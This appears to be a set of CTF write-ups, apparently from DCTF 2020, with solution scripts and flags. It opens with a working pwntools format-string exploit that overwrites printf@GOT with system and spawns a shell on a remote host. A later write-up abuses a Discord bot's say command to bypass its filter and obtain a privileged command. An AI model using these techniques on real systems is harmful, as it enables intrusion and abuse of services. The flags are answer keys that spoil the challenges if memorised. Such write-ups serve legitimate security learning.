# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '34.89.250.23'
port = int(args.PORT or 32440)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x00000000004007FF
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }
payload = fmtstr_payload(8, writes=writes, write_size="byte")
io.sendline(payload)
io.sendline("/bin/sh;")
io.interactive()
# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}
Format string vuln. Read + printf called in a loop. We use the first printf() call to overwrite printf@GOT with system (we have system in the PLT). The second printf() will then execute whatever we send after the format string payload.
This binary opens up a file message.txt and prints out the encoded version of it.
Our target is to find some message contents, such that the encoded content becomes 46004746409548141804243297904243125193404843946697460795444349.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: yes_i_am_a_criminal_mastermind_beaware. Thus the flag becomes: ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}
Solution script:
from subprocess import check_output, CalledProcessError
from string import printable, ascii_lowercase
from itertools import product
from hashlib import sha256
ALPHA = ascii_lowercase +"_"
TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s):
with open("message.txt","w") as fd: fd.write(s)
try:
out = check_output(["./rev_secret_secret.o"])
return out.strip().split(b"Encoded: ")[1].decode()
except CalledProcessError:
print(f"Input {s} crashed")
return ""
def score(s1, s2):
for i in range(min([len(s1),len(s2)])):
if s1[i] != s2[i]:
return i
return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"
best = 0
beststrings = []
for comb in product(ALPHA, repeat=2):
T = known + ''.join(comb)
out = run(T)
if out == TARGET:
print(f"ctf{{{sha256(T.encode()).hexdigest()}}}")
break
if (m := score(out, TARGET)) >= best:
print(T, m, out)
if m > best:
beststrings = [T]
best = m
else:
beststrings.append(T)
print(best)
print(beststrings)
In this challenge we are given a snake game written in rust. Since this is a huge binary the first thing we did was to try and find something interesting related to the game. By looking at strings in IDA we quickly find these:
Level finished!is the victory level!ctf{}By following the xrefs to these strings we found an interesting function at
0xE53C0. Even with the decompiler the code looks like crap, but we could see
a lot of references to strings that look like part of the flag. At 0xE5A04
there's a check to see if some number is equal to 100000, and if it is the code
proceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking the
level we are currently on. So we added a breakpoint to check. In gdb we could
verify that this value did in fact match the level. The solution was then to
change the level to 10000 and let the program continue running. The flag is put
together and printed:
ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}
$ strings yopass-go/yopass | grep ctf
*runtime.structfield
found bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment
/home/lucian/Desktop/ctf/yopass-go/yopass.go
/home/lucian/Desktop/ctf/yopass-go/yopass.go
[]runtime.structfield
runtime.structfield
runtime.structfield
*runtime.structfield
"[]runtime.structfield
$runtime.structfield
%runtime.structfield
*runtime.structfield
and there we go: ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}
used golang_loader_assist.py to recover symbols.
main_main performs AES encryption with this passphrase: thisis32bitlongpassphraseimusing.
and the message is: g01sn0tf0rsk1d1e. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
We quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:
assets/ folder.file showed us that private.mp3 was a zipped folder.private.mp3 file which was a tarmain.py.At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was main.py. It contained some functions to check the password and to XOR encrypt strings.
Part of main.py:
S=len
o=bytes
v=enumerate
W=print
h=None
def n(byt):
q=b'viafrancetes'
f=S(q)
return o(c^q[i%f]for i,c in v(byt))
def d(s):
y=n(s.encode())
return y.decode("utf-8")
Running the d() function decrypted the XOR encrypted strings in the file. This revealed that
\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18
was the flag:
ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}
We get a file to reverse: server.cpython-36.pyc
This is a Python bytecode file that is easy to decompile using Uncompyle6
uncompyle6 server.cpython-36.pyc > server.py
When looking at the code we can see that this is a Discord bot
from discord.ext import commands
import discord, json
from discord.utils import get
def obfuscate(byt):
mask = b'ctf{tryharderdontstring}'
lmask = len(mask)
return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s):
data = obfuscate(s.encode())
return data
intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config[test('\x17\x1b\r\x1e\x1a').decode()] # token
client = commands.Bot(command_prefix='/')
@client.event
async def on_ready():
print('Connected to bot: {}'.format(client.user.name))
print('Bot ID: {}'.format(client.user.id))
@client.command()
async def getflag(ctx):
await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.event
async def on_message(message):
await client.process_commands(message)
if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping
await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong
if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag
if message.author.id == 783473293554352141:
role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro
member = discord.utils.get((message.author.guild.members), id=(message.author.id))
if role in member.roles:
await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag
if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help
await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder!
if '/s基ay' in message.content.lower():
await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag
The script has an encode function that uses xor to obfuscate strings. We can see that the key is ctf{tryharderdontstring}
After xoring all of the strings in the script with this key, we now know which commands that are available:
We can also see that in order to get the flag stored in the config file, we need an author with ID 783473293554352141 to execute the /getflag command.
This author also needs the dctf2020.cyberedu.ro role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link: https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called DCTFTargetWhyNot. Lets invite it to our own server
Now we just need to force the bot to execute the /getflag command, and the /s基ay command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes /s基ay and /getflag from our message.
We can bypass this by making the /getflag command all uppercase, since the bot is converting all commands to lowercase.
Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}
First we extracted all the pictures from the pcap using wireshark every picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }). After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
huquiiddfswdqalnctdi.png
rrhggrokkhbwadumtkhx.png
dglakvmqmabxcqlpgbjb.png
fbnribfqosqcgsbvslvz.png
ytwlritcxznphymnsowe.png
ejznsfmiucllxxespijz.png
hchwxnsotuqrtbrdmbmg.png
yzhfednrfjsvinsbbyhp.png
eiyhbbcrfnwncfsghmez.png
suvwivhtpjkcdpcdurty.png
biuwfrwgdocdypyliqyt.png
rmdueayyyacxcceysxtm.png
gtxiufelpdevwvcpejql.png
kxcgjifkviewjaiwydos.png
pvsyteygdilvpctcavzm.png
srfedsijdcfewypfoeii.png
xfcbvnbakbgypttpslvk.png
dmdkaosivnyzxyzmglai.png
kbavpqschcbaxbezypla.png
loaaiwgsfohhebksrzve.png
rvvkzxxdoyzdechbpaiw.png
xsdkmqnnwrscbvbbprsw.png
vcdqnjgliurrsbczwljv.png
dfhwcysjjnrnhfziizlr.png
dwpgvvlipmmhlkulbrtt.png
hsqqemzyyeqczawnerdp.png
ilymnjclovkuejytnwvi.png
jckteobzkpvxoqqrqovd.png
lilikwxihvrdnqsvepqz.png
zslcptglhdyldbzmlren.png
bynatxrryamhwwhmmroj.png
kamdmutdlzdoypbozuhz.png
oedfvuiyglrsmoociury.png
ofqmletvbqbxzygbzdrh.png
rkdyzefqczfgxaqkqxpt.png
xcrtvutynuuswwpcqojs.png
yepskbbojoroewcotddo.png
cllzodvnyvvmbppaktsd.png
dhqclnghhlrjxjmhjzon.png
kzlibdjxvtbgtiaowvez.png
qpuohuugyhrhfaxdyqux.png
xgslqgwnecldbojahatx.png
kgzjqaffmkezutjdcqyw.png
kmziktrekxzaihwkocfj.png
lrhsihqzqeuisjlgoyky.png
nhbiyacdrbxgrutijbxi.png
eioshuilsoxydsahsfnl.png
rvvcnqbnbdslgdrwatrk.png
dtruebslzybqbiewkwjr.png
dwesxvndmatigdqdvcpr.png
nkmswrsvwrnmapsnillk.png
oyhwsqkdqheovawwlggm.png
pgkrzpxhehywhtmkjgsb.png
avudtreighimhcgmwape.png
kuimxqwkydzdfhvwzayz.png
yybbwqnirqzldfiheiyh.png
zstxtahbtgccautnswcf.png
szpzkekngxnasbbjwhhx.png
xhaffangdrxmuvdpurdh.png
uwjmnpykkkaoxdeesmxi.png
ajxxcwfgozxpbhnauore.png
gzmshnrwkknmmitqnqzp.png
hfnkcgtjyeprtbaldxxk.png
lkvdwmunrarpuyqzdyne.png
jkfxjauvqodhqwzblgen.png
vuiwwzjdojhdlaaamzwb.png
lmmfdbfmheysbhbgjazn.png
wbuhqpnwfuovgdwoedoc.png
czguxctbmqgfgxhvnwzr.png
with that list we could run our script again to get the flag:
#!/usr/bin/env python3
import qrtools
import os
from PIL import Image
def get_colors(pic):
im = Image.open(pic, "r")
pix = im.load()
return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic):
im = Image.open(pic)
white = ( 255, 255, 255 )
black = ( 0, 0, 0 )
pix = im.load()
white_target = pix[0, 0]
print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png"
im2 = Image.new("RGB", im.size, (255, 255, 255))
pix2 = im2.load()
for y in range(im.size[1]):
for x in range(im.size[0]):
if pix[x,y] == white_target:
pix2[x,y] = white
else:
pix2[x,y] = black
im2.save(out, "PNG")
return out
import re
def main(file_list):
with open(file_list, "r") as f:
files = f.readlines()
cnt = 0
res = {}
for filename in files:
filename = filename.rstrip()
if ".png" not in filename:
continue
print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR()
qr.decode(fixed)
print(f"{filename}: {qr.data}")
if qr.data is None:
print("failed!")
break
from subprocess import check_output
out = check_output(f"exiftool {filename}", shell=True).decode("utf-8")
m = re.search(r"Comment.*: ([0-9]+)/69", out)
num = int(m[1])
res[num] = qr.data
from pprint import pprint
pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)])
print(flag)
if __name__ == "__main__":
main("files.txt")
CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}
